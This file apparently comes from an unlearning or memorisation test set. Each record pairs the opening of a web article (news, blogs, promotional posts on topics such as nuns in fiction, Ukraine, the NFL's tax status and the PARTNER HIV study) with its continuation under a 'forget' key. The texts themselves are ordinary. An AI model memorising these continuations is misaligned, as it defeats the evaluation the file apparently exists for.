{"prompt": "As the film Philomena heads into awards season, draped with nominations for Oscars and Baftas, you might think nuns are having a bad PR moment. But then over at Team Convent, Call the Midwife is the star of BBC TV's Sunday nights with a much more sympathetic crew. Both these are fictionalised versions of real stories, and they are just the tip of the iceberg: there are large numbers of nuns in books \u2013 surely higher than their incidence in the real-life population \u2013 with nearly all the descriptions coming from women authors, though there are a few good men", "forget": "below. (Strangely, I made the same point about flat-sharing in books \u2013 is it something to do with women and single-sex groups?). Muriel Spark liked her nuns \u2013 one of the main characters in The Prime of Miss Jean Brodie ends up as Sister Helena, and there is a Marxist Church of England convent in Symposium: in one splendid scene the haloes on the figures in a mural are revealed as the fur hats of Lenin and friends. The Abbess of Crewe is wholly set in a convent, but is well known to be a satire on the Watergate scandal. And that demonstrates a key feature of convents, fictional or otherwise \u2013 they are not actually mysterious hotbeds of unknowable religious transcendence or wickedness. They are communities like any other, with secrets, dramas and troublesome elections. And so, ideal as a vehicle for a good story: any closed community is interesting (see also: country house party, boarding school), there is an opportunity to have good strong female characters without their being framed by their relationships with men, and there is always the underlying question: \"Why did these women become nuns?\" Roman Catholic women of a certain age will remember being obsessed as teenagers with Kathryn Hulme's The Nun's Story, book and film \u2013 \"Is God calling me to be Audrey Hepburn?\" It's still a good strong read, and even more fascinating when you know the story behind it. It is a novel, but based on the life of the author's long-term companion, a former nun. One aspect of nuns in books is that the names are confusing and you get your Sister Mary mixed up with Sister Maria \u2013 and apparently the considerable profits from The Nun's Story are languishing unclaimed because no one knows which nuns should have inherited"}
{"prompt": "Although I'm deep into the reporting of my next story about the Silicon Valley Techtopus, it\u2019s hard for me not to get distracted by events in Ukraine and Russia. I haven\u2019t lived in that part of the world since the Kremlin ran me out of town, so I\u2019m not going to pretend that I know as much as those on the ground there. Still, I\u2019ve been driven nuts by the avalanche of overconfident ignorance that stands for analysis or commentary on the wild events there. A lethal ignorance, a virtuous ignorance. Virtuous ignorance about world affairs used to be the", "forget": "exclusive domain of neo-con pundits, but now it\u2019s everywhere, especially rampant on the counter-consensus side \u2014 nominally my own side, but an increasingly shitty side to be on. Nearly everyone here in the US tries to frame and reify Ukraine\u2019s dynamic to fit America-centric spats. As such, Ukraine\u2019s problems are little more than a propaganda proxy war where our own political fights are transferred to Ukraine\u2019s and Russia\u2019s context, warping the truth to score domestic spat points. That\u2019s nothing new, of course, but it\u2019s still jarring to watch how the \"new media\" counter-consensus is warping and misrepresenting reality in Ukraine about as crudely as the neocons and neoliberals used to warp and Americanize the political realities there back when I first started my Moscow newspaper, The eXile. So, yes, I wanted to comment on a few simplifications/misconceptions about Ukraine today: 1. The protesters are not \"virtuous anti-Putin freedom fighters,\" nor are they \"Nazis and US puppets\" In fact, the people who are protesting or supporting the protesters are first and foremost sick of their shitty lives in a shitty country they want to make better\u2014a country where their fates are controlled by a tiny handful of nihilistic oligarchs and Kremlin overlords, and their political frontmen. It\u2019s first and foremost a desire to gain some control over their fate. Anger at Kremlin power over Ukraine is not necessarily anti-Russian\u2014although the further west you go in Ukraine, the more this does become about nationalism, and the further east you go\u2014including Crimea and Odessa\u2014the more the politics are a fearful reaction against west-Ukraine nationalism. This is kind of obvious to anyone who\u2019s spent time in that part of the world. I\u2019ll quote from Jake Rudnitsky\u2019s great piece about the Orange Revolution published in The eXile nearly a decade ago, which aptly describes both"}
{"prompt": "Understanding Business Media with Hartford Business Journal Editor Greg Bordonaro, Public Relations Strategist Jason Simms, and Sujata Srinivasan, an independent journalist who has previously served as the editor of the Connecticut Business Magazine. A workshop to help entrepreneurs learn how and when to connect with the business press. Greg Bordonaro is the editor of the Hartford Business Journal. He joined the editorial team in May 2008 after graduating from the University of Connecticut with a degree in journalism and history. Greg has been recognized for his writing and reporting by the Alliance of Area Business Publications as well as the", "forget": "Connecticut Society of Professional Journalists. He lives in West Hartford and is enrolled in the University of Hartford\u2019s part-time MBA program. Sujata Srinivasan is an independent journalist with nearly 20 years of reporting, writing and editing experience at television, radio, print and online news organizations. She previously served as the editor of Connecticut Business Magazine, where she assigned and edited award-winning reporting; a contributing editor at the Connecticut Economic Resource Center Inc., senior financial editor at Ness Technologies for the Chicago investment consortium Thomas White International, where she trained and developed a team of financial analysts; and correspondent and interim chief of bureau at CNBC India-TV 18. She was the founding editor of the ethnic newspaper CT Indian Life, and is a volunteer editor for the Stamford nonprofit World on Stage. Her work has aired extensively on WNPR, where her reporting earned her five awards from the Society of Professional Journalists. She was a U.S. correspondent for the Indian edition of Forbes and her writing has appeared in Forbes.com, the Hartford Courant (she writes about small business and entrepreneurship), Hartford Magazine, Hartford Business Journal, Houston Chronicle\u2019s Chron.com, and Patch (business columnist). Prior to that, she was a beat reporter for the Economic Times, India\u2019s largest English-language business daily, and a contributor to Business India, the Business Line and the Hindu \u2013 national publications in India, and the North American edition of the Indian Express. Formerly a visiting adjunct instructor in economics at Saint Joseph College, Hartford. She has a bachelor\u2019s in Business Administration from the University of Madras in Chennai, a one-year post-graduate diploma (distinction) in Journalism from the Times School of Journalism in New Delhi; and a M.A. in Economics from Trinity College, Hartford. She received a Jon Davidoff Journalism Scholarship to the Wesleyan Writers Conference, a seminar fellowship"}
{"prompt": "Shuu-chan from the planning team likes the figure so much that he tried to take the same pose himself! (((\uff9f\u0414\uff9f))) To show how determined he was, he even tried to get the expression right! Although I have to say that perhaps the cute upward glances should be left to the girls\u2026 :P Anyway, today I\u2019ll be taking a closer look at this figure that Shuu-chan loves!! From Waiting in the Summer: 1/7th Scale Ichika Takatsuki From the romantic comedy anime \u2018Waiting in the Summer\u2019 comes a 1/7th scale figure of the main heroine, Ichika Takatsuki! The pose is based on", "forget": "an illustration by the series\u2019 original character designer, Taraku Uon. Careful attention has been made to keep the same feeling of the original illustration by faithfully recreating the relaxed, gentle appearance of Ichika. She\u2019s rather sexy for a high school student!! (*\uff9f\u2200\uff9f)=3 I wish she could share some of that sex appeal with everyone else!! Many of you will know this pose from the cover of DVD/Blu-Ray\u2019s first volume \u2013 it\u2019s amazing how similar she looks to the original illustration!! This is how she looks from the back! The long hair that sweeps down to her hips, and if you look at the bottom you\u2019ll see the tips of her hair have both a front and back layer! Plus just look at this adorable looking way of sitting!! It just makes me wish I could come up behind her and give her a big hug!! \u03a3(\u309c\u2200\u309c*) She is such a goddess!! Just look at that beautiful smile \u2013 it\u2019s strangely hard to describe!! The whole expression has a kind-of motherly quality to it! \u3002\u30fb\u309c\u30fb(\u3064\u0414\uff40)\u30fb\u309c\u30fb\u3002 Ichika\u2019s gentle and kind personality even manages to come through the figure, and the amazing sculptwork on her glasses is also noteworthy!! Lovely slim arms and a beautiful body! This angle from the side has to be my favorite! I\u2019d have to say the best way to describe her body is ladylike \u2013 she has a much more mature looking appearance than you\u2019d expect of a high school student! Also note the delicate hand placed on her shoe, the creases in her clothes which let you get a better picture of her waistline and even the little peek you get of her thighs through the skirt! The figure is just filled with Ichika-senpai\u2019s charm! Just look at those\u2026 err, that collar area! I\u2019d often say you"}
{"prompt": "If you're anything like me, when you were a kid, you had trouble getting to sleep without first hearing at least a couple of stories of life, love and learning as told by a former NBA Defensive Player of the Year. In my case, that meant an awful lot of long-distance calls to very understanding Utah Jazz center Mark Eaton. Luckily, today's youth now has a much more cost-effective and handy option \u2014 \"Metta's Bedtime Stories,\" the newly released debut children's book from Los Angeles Lakers forward Metta World Peace. The book, which retails for $12.95, is a short collection", "forget": "of stories aimed at children between the ages of 4 and 10, with titles like \"Mud in My Bed\" and \"I'm Afraid of the Dark.\" And while the idea of one of the NBA's foremost oddballs and elbow-throwers picking up the pen to reach out to young people is admittedly a bit surprising, it seems like Metta's heart is in the right place: Scroll to continue with content Ad Metta's Bedtime Stories was written to help children think about daily events in a positive light. These stories will show everyone that you can always have a better day tomorrow, if you have a hopeful heart and keep positive thoughts. That's a neat message, and very much of a piece with the youth-focused bent of a lot of his mental health awareness work, from raffling off his championship ring to raise money for more mental health professionals in schools and producing a cartoon public service announcement that was apparently intended to promote mental health awareness by showing the former Ron Artest as a skateboarding super hero named Metta Man. (It wouldn't be Metta if it wasn't at least a little bit weird.) Story continues And if we can read anything into a title like \"Mud in My Bed,\" it's probably also at least a little bit goofy, like World Peace's visit to \"Yo Gabba Gabba!\" or his \"Sesame Street\"-inspired sartorial choices when holding court with the LAPD. That's OK, though. A little bit of whimsy can help make big ideas easier for kids to swallow and maybe even sell a few more copies of the book, which would offer a nice boost to a pair of World Peace-helmed charitable efforts \u2014 Xcel University and The Artest Foundation \u2014 that will each receive a portion of the proceeds from the book's sales."}
{"prompt": "Earlier today, Assemblyman Sean Ryan, who has been a leading proponent of downgrading The Scajaquada Expressway, made an announcement that additional traffic calming measures would commence soon enough. After meeting with Phil Eng, the Chief Engineer at the Department of Transportation (DOT), it was decided that the 30mph speed limit would remain permanently in place. Along with the change in speed, Ryan has proposed that the classification of the roadway be changed from a Principal Arterial Expressway to an Urban Minor Arterial. The change must be met with Federal approval. In the meantime, the DOT will be moving forward with", "forget": "interim traffic calming measures and studies that include the addition of traffic lights, crosswalks, speed bumps, and re-painting of the roadway. These will all help to contribute to the permanent downgrading, from a high speed thoroughfare into a slower moving boulevard. The DOT will be looking into commencing additional traffic studies this summer. Assemblyman Sean Ryan said \u201cWhile our goal is to see the Scajaquada downgraded to a parkway, we must first take interim steps to adjust traffic to the new 30mph speed limit. The DOT understands this issue, will move expeditiously to implement these traffic calming measures. I thank the DOT for agreeing to move forward and study where the traffic calming measures will be placed, in order to maximize their effectiveness. After we are done with the interim actions, we must devote our attention to converting the expressway into a parkway. The DOT will need to present a plan to make that happen, and I will stay on top of this to ensure that a plan is presented to the community as quickly as possible. Once again, I would like to thank Governor Cuomo and his team for working so diligently to improve safety on the Scajaquada.\u201d A traffic circle was taken off the table where Parkside meets the 190. It would be great to see the DOT reexamine the possibility of bringing the circle back into play now that so many other traffic calming measures are in place. The traffic circle could be dedicated to the memory of the young boy who lost his life, and the family that suffered such a tremendous loss. Lead image: Ryan was joined by Buffalo Common Council Member Michael LoCurto, Justin Booth, Executive Director of GOBike Buffalo, Amber Small, Executive Director of the Parkside Community Association, Michael DeLuca, Chair of the"}
{"prompt": "It\u2019s been just shy of two months since we kicked off the Summer of Rift Sale, and the momentum of game launches, announcements, and esports events continues. By popular demand, what started out as a six-week seasonal promotion was extended by two weeks. Today, we\u2019re excited to share that VR newcomers have all Labor Day Weekend to take the plunge before the sale officially ends at 11:59 pm PT on September 4. End of Summer Flash Sale We\u2019ve said from the beginning that Summer of Rift is all about celebrating the VR community. That\u2019s why we\u2019re also kicking off a", "forget": "huge flash sale on the Oculus Store, with 45 titles across Rift and Gear VR available for up to 50% off\u2014now through 11:59 pm PT on September 4. We gave a sneak preview of the Oculus Store sale on August 30, temporarily lowering the price of Star Trek: Bridge Crew to $24.99. Whether you want to step aboard the original Enterprise or enter the world of the J.J. Abrams reboot, you can form a crew of up to four players to explore, strategize, and coordinate your efforts to successfully complete your mission. Rift Highlights The Rift sale includes a wide range of apps and experiences, from the productivity and convenience of Virtual Desktop and the moving educational experience of Chernobyl VR Project to the exploratory cyberpunk adventure of TECHNOLUST and beyond, there\u2019s something for everyone. Gear VR Gems The flash sale continues on the mobile side, with a similarly dynamic selection of discounted titles on Gear VR. Go on an aquatic safari with Ocean Rift, or battle the zombie horde in fan-favorite Drop Dead. Whether you want to dive into a narrative puzzle-based adventure like Esper 2, have some couch co-op fun with Keep Talking and Nobody Explodes, or explore the world of virtual tabletop gaming with RTS Tactera, there\u2019s a lot of great content to round out your library. Bundled Buys Also through 11:59 pm PT on September 4, we\u2019ve got two amazing bundles with significant savings. The Summer Hits Pack nets you four of the season\u2019s most popular titles for $89.99\u2014saving you 35% off the regular US purchase price. Check out what\u2019s included: Priced at $59.99, the Essentials Pack delivers four action-packed experiences with an impressive 52% discount off US pricing. This is a great way to supplement the six titles included for free with Touch activation. Here\u2019s"}
{"prompt": "At Monument Mountain Regional High School in Massachusetts, educators responded when students came forward with an idea for an entirely student-led approach to school. In one independent-study-type course, students set their own learning goals, work collaboratively and seek help from mentors when it\u2019s needed. They study math, science, social science and literature topics that interest them through a driving question each week, presenting their findings to a group. Their teachers were impressed with the rigor of their work and the motivation students displayed when they drove the agenda. Saying students should drive their own learning is much easier than helping", "forget": "them do it. Former teacher-turned-lecturer Alan November has done some deep thinking about how teachers can help students gain the skills they\u2019ll need to be independent learners. He emphasizes that teachers should help students ask the right questions and use the technology tools available to them to find credible information. He recommends teachers give students the ability to work on long-term projects that meaningfully contribute to the world, helping to provide the motivation for independent learning. While some schools are finding ways to let students take up the reins of their education, many are still beholden to the regimented public system that includes lots of standardized testing for assessment and accountability purposes. The increasing focus on testing has driven some families away from the education system entirely, and the number of home-schooled students has grown. One particular strain of home schooling, known as unschooling, has caught the imagination of many MindShift readers. Unschoolers follow no set curriculum, but rather let their children explore the world on their own terms and at their own speed. The focus is on curiosity, inquiry and projects, with the belief that kids will ask for help and learn in all disciplines when acquiring the necessary knowledge to achieve something with which they are absorbed. Readers continue to debate whether students can really learn what they\u2019ll need to be functioning adults without the intervention of a teacher or parent, but several people who have been unschooled themselves say they\u2019re doing well in the world. Dr. Peter Gray has studied what unschoolers go on to do, and whether they face discrimination or other obstacles as they apply to colleges and enter the workforce. SOCIAL AND EMOTIONAL DEVELOPMENT Much of the disaffection with the school system stems from a pervasive feeling that the intense focus on formal academics"}
{"prompt": "Greetings fellow Agonians! Today we wanted to present a development update on the progress of our Early Access Road Map, discuss the contents of our upcoming patch, and give some marketing updates as we prepare ourselves for launch. We will be releasing our next community competition tomorrow where you will be able to submit unique mob names and lore backstories that we will tie into our new unique rare mob spawn mechanics described below. We are at a very exciting time in the development of Darkfall: Rise of Agon as we get closer to our official launch, and all of", "forget": "us at Big Picture Games look forward to the coming months. Without further ado, let's get into it! Marketing Update: Playthrough Convention The marketing team has been gearing up for the upcoming Playthrough gaming convention that Brad and Michael will be attending this weekend in Raleigh, North Carolina. There have been many things we have been working on from banners and fliers to even some giveaways for those who stop by and say hello. This will be the first time that we publicly show off Darkfall: Rise of Agon and we cannot wait to talk about the project and what we have in store for the upcoming launch. Speaking of launch, our official launch date will be announced at the convention on Saturday. We hope to get to meet some of you in our community and invite everyone on Saturday to join us at the Crank Arm Brewing Company at 10:00 P.M. EST only a block away! Lighting the Fuse We want to ensure that when the game launches we can provide our players with as many friends and enemies to fight alongside with as possible. In the coming weeks we will be starting our external marketing campaigns that we have been planning internally and will not be letting up until we officially launch. We also have some things planned where you in our community can lend a helping hand to us in this endeavor. Stay tuned for more information as this train is about to leave the station. Next Patch Update The development team is currently working on our next Early Access patch which is currently scheduled to land at the end of February or beginning of March. This next patch will focus primarily on our new PvE spawn mechanics and the other changes listed below. Champion Spawn PvE"}
{"prompt": "John Druce leads the Pedal for Hope fundraising bicycle team. (Courtesy Pedal for Hope) John Druce knows something about being in the right place at the right time. The best run of his NHL career \u2014 the stretch that turned his last name into a magic word in Washington \u2014 was kick-started by happenstance: Dino Ciccarelli was injured early in the 1990 playoffs, Druce moved up through the Capitals\u2019 lineup, and suddenly the young forward was the best goal scorer in the world. Druce scored nine times in a five-game playoff series against the Rangers, ended the spring with four", "forget": "game-winners, and finished that postseason with 14 goals in 15 games, an offensive explosion still mentioned in hockey circles every spring. So Druce\u2019s new job as a first-time head coach with the Cobourg Cougars, marking his return to hockey after more than a decade away? His team\u2019s 16-2 start in the Ontario Junior Hockey League? His arrival before a season that will end with Cobourg hosting Canada\u2019s Junior A championship? \u201cThings like this happen,\u201d Druce said this week, referring to his past. \u201cRight place, right time.\u201d If anyone deserved another happy coincidence, it was Druce, 12 years after heartbreaking news had led him to leave the sport. The former winger had been working as a hockey analyst in Canada when his then-15-year-old daughter Courtney \u2014 just a toddler waking up in the middle of the night during his famous Caps streak \u2014 was diagnosed with leukemia. With Courtney and her family members in and out of hospitals, Druce could no longer maintain a hockey lifestyle, so he left the game and became a financial adviser in his native Peterborough, Ontario. Over the next decade, his daughter turned into a public figure in Peterborough as she fought off an avalanche of medical problems \u2014 what Druce calls \u201ca battle that I wouldn\u2019t wish on my worst enemies.\u201d She went through chemotherapy four times and radiation twice. She had two bone marrow transplants. After beating leukemia for a third time, she was in remission for almost five years and getting on with her life when she was diagnosed with cervical cancer. She beat that, too, but then the cancer came back a year ago. She died in April, eight days before her 28th birthday. \u201cShe\u2019s my hero,\u201d Druce said. \u201cShe would still walk into a room and would still light up that"}
{"prompt": "It is one of America\u2019s most beloved past times. Every year, when the weather gets cold and the days get shorter millions gather around their television sets to cheer on their favorite football teams. From the Grid Iron to the Gravy Train: How the NFL Scored a Nonprofit Status Those same fans funnel billions upon billions of dollars into the industry to buy everything from tickets to memorabilia. In fact, the National Football League collects upwards of $9 billion in revenue each year, making the league the most lucrative in the world according to Forbes. On top of the massive", "forget": "profits the teams enjoy, the league also scores big with tax breaks handed down from the federal government, specifically income taxes. The teams themselves are considered for-profit entities and pay taxes -- however, the leagues, which set the rules, negotiate contracts, discipline players and come up with a programming schedule, do not. \u201cThe NFL is exempt for federal and state income tax under section 501c6 of the federal tax code, which is very different from the sections that exempt charities and other philanthropic organizations,\u201d Chair of the Nonprofit Organizations Practice at Venable Law Firm, Jeff Tenenbaum explains, \u201cA 501c6 organization, which is typically reserved for trade and professional associations and chambers of commerce and some sports leagues, is a category that\u2026 carries with it exemption from paying federal and state corporate income tax on your net income.\u201d And, the NFL isn\u2019t alone. The National Hockey League, the Professional Golfers\u2019 Association, the U.S. Tennis Association and numerous other sporting leagues also enjoy similar statuses. So, how did such a situation come about? Since the 1940\u2019s, the NFL has received some tax breaks from federal and state governments. However, it wasn\u2019t until 1966 that language was formally added to the national tax code which officially protected professional football. At the time, there were not one but two professional football leagues: the NFL and the American Football League or the AFL. On June 8, 1966, the two leagues formally announced plans to merge. The first ever Super Bowl was also held that very season. In order to merge, the leagues had to approach Congress to ask for an exemption to antitrust laws, which prohibit monopolies that limit competition. Nitty Gritty Tax Law After a lobbying blitz by both the NFL and the AFL, Congress eventually agreed to allow the two leagues to merge."}
{"prompt": "The religious group known as the Blackburn Cult, the Divine Order of the Royal Arms of the Great Eleven, or the Great Eleven Club, was started in 1922 on Bunker Hill in Downtown Los Angeles, California, and later formed a retreat in the Southern California Simi Valley. The group's founder, May Otis Blackburn, is said to have received revelations directly from angels, and, along with her daughter Ruth Wieland Rizzio, believed that she was charged by the archangel Gabriel to write books revealing the mysteries of Heaven and Earth, and life and death.[1][2] Newspaper articles from the period reported strange", "forget": "rituals including the sacrifice of animals, sex scandals and attempts to resurrect a dead 16-year-old girl.[3] Police found the corpse of Willa Rhoads under the floor at the Rhoadses' residence, wrapped in spices and salt, and surrounded by the bodies of seven dead dogs.[2] Mr. and Mrs. Rhoads later confessed to the police that they had placed their daughter in the tomb fourteen months earlier at the suggestion of May Otis Blackburn.[2] The cult was also accused of killing a member in an oven, poisoning another during a \"whirling dervish\" ceremony, and making several other members disappear.[4] Indicted for grand theft [ edit ] In 1929, group leaders were indicted in Los Angeles for grand theft and investigated in connection with the disappearances of several members.[1] These indictments created a sensation after the background of the grand theft was revealed to the public.[3] May Otis Blackburn was charged with twelve counts of grand theft, and articles at that time referred to her as a \"cult leader\".[5] According to Time magazine , the Blackburn Cult was also known as \"The Great Eleven\", and May Otis Blackburn was referred to as the \"Heel of God\".[6] The cult collapsed after May Otis Blackburn was imprisoned for stealing 40,000 dollars from Clifford Dabney.[6][7] Depicted in theatrical productions [ edit ] In October 2007, actresses playing May Otis Blackburn and Ruth Rizzio appeared in the Ghost Tour in Strathearn Park, in Simi Valley, California. The actress playing Blackburn stated: \"May Otis is really fun and flamboyant..She's a cult leader. Who wouldn't want to play a cult leader?\"[8] The \"Ghost Tour\" in Robert P. Strathearn Historical Park had previously featured Blackburn in 1999.[9] Subject of fictionalized history [ edit ] In 2008, R.J. Baud\u00e9, son of the last surviving member of the Great Eleven, published a"}
{"prompt": "Cyclist maimed in random shooting gets $15K in donations Copyright by KXAN - All rights reserved Alonso Solis gets donation check at the Mexican Consulate. June 29, 2017 (KXAN Photo/Alyssa Goard) [ + - ] Video AUSTIN (KXAN) -- The cyclist attacked on East Riverside Drive by a random passenger shooting out of a car received a large donation Thursday from Austin community members. These community members -- most of whom had never met 42-year-old Alonso Solis before -- came together to offer him care and financial support as he faces medical costs that seemed insurmountable. On June 7, Solis", "forget": "was biking back from the store late at night when he was hit in the back, neck, head and face with pellets from a shotgun blast. Police arrested 19-year-old Merrick Isaacks for shooting Solis. A police affidavit showed that Isaacks was looking to \"blow off steam\" and held an acquaintance who was driving a car at gunpoint. Isaacks then fired out of his car window around Austin. He is still being held in the Travis County Jail on two charges of aggravated assault with a deadly weapon. His bond totals $250,000. After that incident, Solis was unconscious for nearly two days, before waking up in the hospital. When KXAN visited with Solis at his home weeks ago, he could barely sleep or eat because of his pain. He has to take several months off from his job laying carpet because he can no longer lift his arm due to his injuries. He does not speak English or have many friends in Central Texas; his wife and four children live in Mexico. Solis had no insurance and no idea how he would pay for all of the medications. That is, until people from all around Austin stepped forward to help him. Copyright by KXAN - All rights reserved Alonso Solis of Austin was hit in the face while cycling by a shotgun blast from a random shooter. KXAN Photo/ Frank Martinez. Copyright by KXAN - All rights reserved Alonso Solis of Austin was hit in the face while cycling by a shotgun blast from a random shooter. KXAN Photo/ Frank Martinez. After KXAN's initial story, our station was overwhelmed with requests from people who'd watched our report and wanted to help. Rich and Anne Barger of Leander were two of those people. The two immediately set up a GoFundMe page for"}
{"prompt": "Plants can\u2019t run away from a threat but they can stand their ground. \u201cThey are very good at avoiding getting eaten,\u201d said Linda Walling of the University of California , Riverside. \u201cIt\u2019s an unusual situation where insects can overcome those defenses.\u201d At the smallest nip to its leaves, specialized cells on the plant\u2019s surface release chemicals to irritate the predator or sticky goo to entrap it. Genes in the plant\u2019s DNA are activated to wage systemwide chemical warfare, the plant\u2019s version of an immune response . We need terpenes, alkaloids, phenolics \u2014 let\u2019s move. Photo \u201cI\u2019m amazed at how fast", "forget": "some of these things happen,\u201d said Consuelo M. De Moraes of Pennsylvania State University . Dr. De Moraes and her colleagues did labeling experiments to clock a plant\u2019s systemic response time and found that, in less than 20 minutes from the moment the caterpillar had begun feeding on its leaves, the plant had plucked carbon from the air and forged defensive compounds from scratch. Just because we humans can\u2019t hear them doesn\u2019t mean plants don\u2019t howl. Some of the compounds that plants generate in response to insect mastication \u2014 their feedback, you might say \u2014 are volatile chemicals that serve as cries for help. Such airborne alarm calls have been shown to attract both large predatory insects like dragon flies, which delight in caterpillar meat, and tiny parasitic insects, which can infect a caterpillar and destroy it from within. Enemies of the plant\u2019s enemies are not the only ones to tune into the emergency broadcast. \u201cSome of these cues, some of these volatiles that are released when a focal plant is damaged,\u201d said Richard Karban of the University of California, Davis , \u201ccause other plants of the same species, or even of another species, to likewise become more resistant to herbivores.\u201d Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Yes, it\u2019s best to nip trouble in the bud."}
{"prompt": "In May 1997, 8-year-old Kirsten Hatfield disappeared from her bedroom one night, sparking a national search by local police and the FBI. But the case quickly went cold and she was never found. On Monday, Oklahoma police made a decisive break in the long-dormant case, arresting a man who lives two doors down and was initially identified as a suspect in the case, but is now linked by DNA evidence to the girl\u2019s disappearance. Police arrested Joseph Palma, a neighbor who had previously told investigators he was at home that night, charging him with first-degree murder and kidnapping after a", "forget": "DNA test linked him to items found in the girl\u2019s bedroom on the night of her disappearance. Police said that they feared she had been killed just after she was abducted, but family members welcomed Mr. Palma\u2019s arrest as providing some relief in a case that had gone cold more than 18 years ago. \u201cOh my goodness,\u201d the victim's mother, Shannon Hazen, told The Oklahoman after first learning of the arrest from the paper on Monday. \u201cYes! Yes! Yes!,\u201d she said, then began sobbing. Palma was identified as a suspect in the case after examining blood found on the windowsill of the girl\u2019s bedroom and on her clothing, which was found in the house\u2019s backyard. In June, he agreed to give a DNA sample after investigators began re-examining the case, but maintained that he had been at home during the night of May 13, 1997. The blood on the windowsill was identified as his after DNA testing, with police saying the match was one in 293 sextillion, The Oklahoman reported. \u201cIt is likely that Palma has been motivated to stay in the same home to conceal evidence of the crime and/or the location of Kirsten's body,\u201d wrote Midwest City Police Detective Darrell Miller in a request for an arrest warrant. Palma\u2019s story also differed slightly from the account he gave in 1997 to two different investigators, Reuters reports, noting that there is no indication that police searched his home during the original investigation. Investigators began searching Palma\u2019s home on Monday and will continue searching on Tuesday, local police said. A longtime groundskeeper, Palma reportedly works for the Lake Thunderbird State Park, The Oklahoman reported, saying that it was unclear if he had an attorney. Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree"}
{"prompt": "For a while now those of us living with, or working with HIV, have known that if you\u2019re HIV positive and undetectable that you\u2019re very unlikely to be able to pass HIV on. But things just changed. Backing up a little, in 2008 the Swiss National AIDS Commission released a document for Swiss HIV consultants. This document was based on the best possible evidence at the time and stated that as long as the HIV positive person was on treatment, had a viral load below 40 and had no other STIs, that they were very unlikely to pass on HIV.", "forget": "This document became known as The Swiss Statement. Whilst The Swiss Statement didn\u2019t directly change policy and procedure it was widely acknowledged that we\u2019d discovered something potentially world changing, something that deserved much more research. In 2010 a new study called PARTNER started enrolling couples. They were looking for sero-different couples where one partner was HIV positive and undetectable, and the other partner was HIV negative. They enrolled 1166 couples in total, ranging in age, ethnicity and sexuality, but most importantly these couples needed to be having condomless sex. Yesterday the results came in, and wow. Over the six years (and counting) the PARTNER study was running the 1116 couples recorded 58,000 condomless sex acts (lucky them) and there have been zero partner-to-partner HIV infectious. Let\u2019s just look at that again shall we? Years worth of data on thousands of HIV negative and HIV positive undetectable couples having tens of thousands of condomless sex sessions and ZERO partner-to-partner infections. None. Nada. Zilch. Zero. Their research also showed something we weren\u2019t sure of before too. The presence of other STIs, and any associated viral load blips, didn\u2019t raise infectiousness. The STIs they recorded had no impact on that zero partner-to-partner infection ratio. It\u2019s important to note that there were 11 infections during the PARTNER study, but those were traced to sex that happened outside their monitored relationships and not from their HIV positive undetectable partners. This was done by phylogenetic analysis which uses the genetic structure of HIV to tell researchers which person it came from. \u201cThis study has proven what we thought we knew, what we hoped, that we are uninfectious. I can\u2019t pass on HIV, not even via condomless sex, as long as I keep taking my medication.\u201d This is huge news for people living with HIV all over"}
{"prompt": "President Trump will travel to Missouri on Wednesday as part of an ongoing effort to pressure Senate Democrats in states he won to back the Republican tax plan. Yet such lawmakers have shown they see no political incentive in supporting the legislation, which could come up for a vote in the upper chamber later this week. Missouri\u2019s Claire McCaskill, whom the president will likely call out while on her home turf, joined more than a dozen fellow Democratic senators from red or swing states for a press conference Tuesday condemning the bill and calling for a bipartisan process to overhaul", "forget": "the tax code. The event was a remarkable demonstration of how the president and congressional Republicans have been unable to sway some of the most vulnerable senators up for re-election next year. Instead, Trump and the White House have spent the week trying to secure Republican votes for the bill, a dynamic that has given Democrats some political cover in holding out. A score released by the non-partisan Congressional Budget Office on Sunday showed negative effects on middle-class taxpayers, which is buttressing Democratic opposition, as are polls showing the plan to be unpopular among voters. And if red state Democrats had been eager to back a tax reform measure, the Republicans\u2019 inclusion of a repeal of the health care law\u2019s individual mandate has provided an easy reason to say no to the GOP bill. \u201cWe all want to do tax reform, we all believe it needs to be done,\u201d said West Virginia Sen. Joe Manchin, who organized the Democrats\u2019 press conference. \u201cWe\u2019re willing to work and sit down. \u2026 There\u2019s not one person here who hasn\u2019t worked with a Republican.\u201d Manchin hails from Trump country. His state voted for Trump over Hillary Clinton by 42 percentage points and gives the president his highest approval ratings in the nation. Unlike many of his Democratic colleagues, Manchin would likely be comfortable voting for something with the president\u2019s name on it. But on both taxes and health care, Democrats have been united in opposition to GOP proposals, an indication of how they see political dynamics playing out in their states ahead of the 2018 midterms. \u201cIt has been staggering. It\u2019s just amazing how poorly the president and GOP leaders have played their hand,\u201d says Democratic operative Jim Manley, a former top aide to retired Sen. Harry Reid. \u201cThere is a handful of Democrats"}
{"prompt": "Whether they constitute a trend or not (and I say not), these cases represent mere footnotes in the annals of employment law compared with the potential impact of Dukes. Writing in the Harvard Law and Policy Review, professor Suzette M. Malveaux explained well last week in accessible language precisely what's at stake: The potential impact of the case stems not so much from the size of the Dukes class as from how the case will influence the very survival of certain types of class actions. At issue is whether it will become more difficult for plaintiffs who seek monetary relief", "forget": "for systemic misconduct to meet the class action criteria. This is important because for many employees and others, a class action is their only meaningful access to the courts. Moreover, class actions are important to the civil justice system because of the substantial time and cost savings they provide the courts and parties. The Dukes case has the potential to redefine the terms on which this critical procedural device is available. No matter what the justices say Tuesday, and no matter how they eventually rule, Wal-Mart already has largely succeeded in blunting the force of the allegations against it. The case will be 11 years old when it is decided by the Supreme Court and yet it is nowhere near trial, much less a plaintiffs' verdict that would be sustainable on appeal. This is so despite massive pre-trial discovery on the class-action issue alone, an exemplar of scorched-earth civil litigation which already has generated, by one litigant's count, \"over 200 depositions\" and the \"production of more than a million pages,\" as well as \"electronic personnel data.\" At that rate, it could easily take another 11 years, or longer, to finally resolve this case. Betty Dukes, the Wal-Mart \"greeter\" who became the lead plaintiff in the case, was 54 when she first filed suit against the company. She's now 65. She'll be lucky if she gets her day in court, and a jury to hear her claims on the merits, before she's 70, and that's only if the justices allow the plaintiffs to proceed with their claims. This breathtaking pre-trial delay has occurred despite a series of rulings, from every court that has considered the case, acknowledging that there is a legally-cognizable class of plaintiffs here, a huge one, the members of which have at least a justiciable beef against Wal-Mart."}
